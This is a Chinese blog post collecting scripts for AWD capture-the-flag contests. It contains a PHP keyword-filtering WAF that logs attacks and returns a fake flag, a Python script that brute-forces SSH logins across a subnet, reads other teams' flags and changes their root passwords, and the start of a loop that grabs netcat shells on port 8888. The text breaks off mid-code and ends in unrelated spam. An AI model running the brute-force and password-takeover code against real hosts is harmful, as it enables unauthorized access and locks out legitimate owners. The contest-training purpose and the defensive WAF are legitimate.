AWD竞赛脚本大全——从攻击到防御
时间：2023-12-11 12:07:02
一、Waf通防
使用方法包含在需要保护的文件中 使用require_once(‘waf.php’); 或者include(‘waf.php’);
<?php header('Content-Type: text/html; charset=utf-8'); error_reporting(0); define('LOG_FILENAME', 'Attack_Big_information.txt'); function waf() { if (!function_exists('getallheaders')) { function getallheaders() { foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value; } return $headers; } } $get = $_GET; $post = $_POST; $cookie = $_COOKIE; $header = getallheaders(); $files = $_FILES; $ip = $_SERVER["REMOTE_ADDR"]; $method = $_SERVER['REQUEST_METHOD']; $filepath = $_SERVER["SCRIPT_NAME"]; foreach ($_FILES as $key => $value) { $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']); file_put_contents($_FILES[$key]['tmp_name'], "virink"); } unset($header['Accept']); //fix a bug $input = array( "Get" => $get, "Post" => $post, "Cookie" => $cookie, "File" => $files, "Header" => $header ); $pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex"; $pattern.= "|file_put_contents|fwrite|curl|system|eval|assert"; $pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore"; $pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec"; $vpattern = explode("|", $pattern); $bool = false; foreach ($input as $k => $v) { foreach ($vpattern as $value) { foreach ($v as $kk => $vv) { if (preg_match("/$value/i", $vv)) { $bool = true; logging($input); break; } } if ($bool) break; } if ($bool) break; } } function logging($var) { date_default_timezone_set("Asia/Shanghai"); $time=date("Y-m-d H:i:s"); file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND); } waf(); class waf{ private $request_url; private $request_method; private $request_data; private $headers; private $raw; // 自动部署构造方法 function __construct(){ //echo "class waf construct execute.."; //debug code $this->write_access_log_probably(); //记录访问纪录 类似于日志 $this->write_access_logs_detailed(); //纪录详细访问请求包 //echo "class waf construct execute..2"; if($_SERVER['REQUEST_METHOD'] != 'POST' && $_SERVER['REQUEST_METHOD'] != 'GET'){ write_attack_log("method"); } //echo "class waf construct execute..3"; $this->request_url= $_SERVER['REQUEST_URI']; //获取url来进行检测 $this->request_data = file_get_contents('php://input'); //获取post $this->headers =$this->get_all_headers(); //获取header //echo "class waf construct execute half.."; $this->filter_attack_keyword($this->filter_invisible(urldecode($this->filter_0x25($this->request_url)))); //对URL进行检测，出现问题则拦截并记录 $this->filter_attack_keyword($this->filter_invisible(urldecode($this->filter_0x25($this->request_data)))); //对POST的内容进行检测，出现问题拦截并记录 //echo "class waf construct execute..4"; $this->detect_upload(); $this->gloabel_attack_detect(); //echo "class waf construct execute success.."; } //全局输入检测基本的url和post检测过了则对所有输入进行简单过滤 function gloabel_attack_detect(){ foreach ($_GET as $key => $value) { $_GET[$key] = $this->filter_dangerous_words($value); } foreach ($_POST as $key => $value) { $_POST[$key] = $this->filter_dangerous_words($value); } foreach ($headers as $key => $value) { $this->filter_attack_keyword($this->filter_invisible(urldecode(filter_0x25($value)))); //对http请求头进行检测，出现问题拦截并记录 $_SERVER[$key] = $this->filter_dangerous_words($value); //简单过滤 } } //拦截所有的文件上传 并记录上传操作 并将上传文件保存至系统tmp文件夹下 function detect_upload(){ foreach ($_FILES as $key => $value) { if($_FILES[$key]['size']>1){ echo "小伙子你不讲武德啊，你这上传的是啥?????你很危险啊！(╯‵□′)╯︵┻━┻"; $this->write_attack_log("Upload"); //move_uploaded_file($_FILES[$key]["tmp_name"],'/tmp/uoloadfiles/'.$_FILES[$key]["name"]); exit(0); } } } //记录每次大概访问记录，类似日志，以便在详细记录中查找 function write_access_log_probably() { $raw = date("Y/m/d H:i:s").' '; $raw .= $_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['REMOTE_ADDR'].' '; $raw .= 'POST: '.file_get_contents('php://input')."\r\n"; $ffff = fopen('all_requests.txt', 'a'); //日志路径 fwrite($ffff, $raw); fclose($ffff); } //记录详细的访问头记录，包括GET POST http头 以获取通防waf未检测到的攻击payload function write_access_logs_detailed(){ $data = date("Y/m/d H:i:s")." -- "."\r\n".$this->get_http_raws()."\r\n\r\n"; $ffff = fopen('all_requests_detail.txt', 'a'); //日志路径 fwrite($ffff, urldecode($data)); fclose($ffff); } /* 获取http请求头并写入数组 */ function get_all_headers() { $headers = array(); foreach($_SERVER as $key => $value) { if(substr($key, 0, 5) === 'HTTP_') { $headers[$key] = $value; } } return $headers; } /* 检测不可见字符造成的截断和绕过效果，注意网站请求带中文需要简单修改 */ function filter_invisible($str){ for($i=0;$i<strlen($str);$i++){ $ascii = ord($str[$i]); if($ascii>126 || $ascii < 32){ //有中文这里要修改 if(!in_array($ascii, array(9,10,13))){ write_attack_log("interrupt"); }else{ $str = str_replace($ascii, " ", $str); } } } $str = str_replace(array("`","|",";",","), " ", $str); return $str; } /* 检测网站程序存在二次编码绕过漏洞造成的%25绕过，此处是循环将%25替换成%，直至不存在%25 */ function filter_0x25($str){ if(strpos($str,"%25") !== false){ $str = str_replace("%25", "%", $str); return filter_0x25($str); }else{ return $str; } } /* 攻击关键字检测，此处由于之前将特殊字符替换成空格，即使存在绕过特性也绕不过正则的\b */ function filter_attack_keyword($str){ if(preg_match("/select\b|insert\b|update\b|drop\b|and\b|delete\b|dumpfile\b|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|multipoint\(/i", $str)){ $this->write_attack_log("sqli"); } //文件包含的检测 if(substr_count($str,$_SERVER['PHP_SELF']) < 2){ $tmp = str_replace($_SERVER['PHP_SELF'], "", $str); if(preg_match("/\.\.|.*\.php[35]{0,1}/i", $tmp)){ $this->write_attack_log("LFI/LFR");; } }else{ $this->write_attack_log("LFI/LFR"); } if(preg_match("/base64_decode|eval\(|assert\(|file_put_contents|fwrite|curl|system|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restorei/i", $str)){ $this->write_attack_log("EXEC"); } if(preg_match("/flag/i", $str)){ $this->write_attack_log("GETFLAG"); } } /* 简单将易出现问题的字符替换成中文 */ function filter_dangerous_words($str){ $str = str_replace("'", "‘", $str); $str = str_replace("\"", "“", $str); $str = str_replace("<", "《", $str); $str = str_replace(">", "》", $str); return $str; } /* 获取http的请求包，意义在于获取别人的攻击payload */ function get_http_raws() { $raw = ''; $raw .= $_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['SERVER_PROTOCOL']."\r\n"; foreach($_SERVER as $key => $value) { if(substr($key, 0, 5) === 'HTTP_') { $key = substr($key, 5); $key = str_replace('_', '-', $key); $raw .= $key.': '.$value."\r\n"; } } $raw .= "\r\n"; $raw .= file_get_contents('php://input'); return $raw; } /* 这里拦截并记录攻击payload 第一个参数为记录类型 第二个参数是日志内容 使用时直接调用函数 */ function write_attack_log($alert){ $data = date("Y/m/d H:i:s")." -- [".$alert."]"."\r\n".$this->get_http_raws()."\r\n\r\n"; $ffff = fopen('attack_detected_log.txt', 'a'); //日志路径 fwrite($ffff, $data); fclose($ffff); if($alert == 'GETFLAG'){ echo "flag{erxianqiao_NB_NO1_c001}"; //如果请求带有flag关键字，显示假的flag。（2333333） }else{ sleep(3); //拦截前延时3秒 } exit(0); } } $waf = new waf(); ?>
二、SSH弱口令
cat其他人flag并且修改掉ssh的弱口令，NC高位端口连接即有shell的也有单独列出来的
import paramiko import pexpect #NC漏洞 import threading import time username=[] passwd=[] host = "192.168.132." def C(cmd,newpw,username,passwd): for num in range(0,255): for i in range(0,len(username)): U=username[i] print("用户名为:",U) for j in range(0,len(passwd)): print("密码为:",U) P=passwd[j] ip = host+str(num) print("正在连接",ip) ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh.connect(hostname=ip,port = 22,username=U,password=P,timeout=1) stdin,stdout,stderr = ssh.exec_command(cmd) flag = stdout.read().decode('utf-8') print("目标:"+ip+"存在漏洞，内容为:"+flag,end='') print("IP:"+ip+"密码已修改成:"+newpw) check="echo"+" root:"+ newpw + " | chpasswd" stdin1,stdout1,stderr1 = ssh.exec_command(check) ssh.close() except: pass def addusername(end1): for i in range(0,end1): end1=str(end1) i=str(i) Loading=input("一共输入"+end1+"个用户,请输入第"+i+"个值:") username.append(Loading) print(username) return username def addpasswd(end2): for i in range(0,end2): end2=str(end2) i=str(i) Loading=input("一共输入"+end2+"个密码,请输入第"+i+"个值:") passwd.append(Loading) print(passwd) return passwd def NC(END): #注意！！！该方法只能在Linux中也就是kali中运行，因为pexpect中的函数是不支持在windows中运行的 while(1): #可一直循环占坑，防止其他人连接 for i in range(0,END): host='192.168.132.'+str(i) # for j in range(0,65535): ##爆破端口 # j=str(j) # a = pexpect.spawn("nc %s %s:"%(host,j)) a = pexpect.spawn("nc %s 8888:"%host) #指定高位端口 a.setecho(False) a元器件数据手册、IC替代型号，打造电子元器件IC百科大全！
